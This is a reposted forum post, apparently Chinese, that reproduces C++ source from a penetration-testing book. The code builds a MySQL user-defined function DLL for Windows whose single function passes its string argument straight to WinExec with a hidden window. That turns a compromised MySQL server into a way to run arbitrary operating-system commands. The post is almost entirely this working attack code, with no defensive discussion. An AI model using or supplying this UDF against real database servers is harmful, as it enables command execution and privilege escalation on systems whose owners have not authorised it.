[转载]MySQL自定义函数的Windows版本实现
文章作者：san, alert7, eyas, watercloud[code]/* my.cpp
*
* 《网络渗透技术》演示程序
* 作者：san, alert7, eyas, watercloud
*
* MySQL自定义函数的Windows版本实现
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
enum Item_result {STRING_RESULT,REAL_RESULT,INT_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
/* This holds information about the result */
typedef struct st_udf_init
{
char maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
extern "C" {
__declspec(dllexport) int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);
}
int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if( args->arg_count != 1 )
return 0;
WinExec( args->args[0], SW_HIDE );
return 0;
}[/code]
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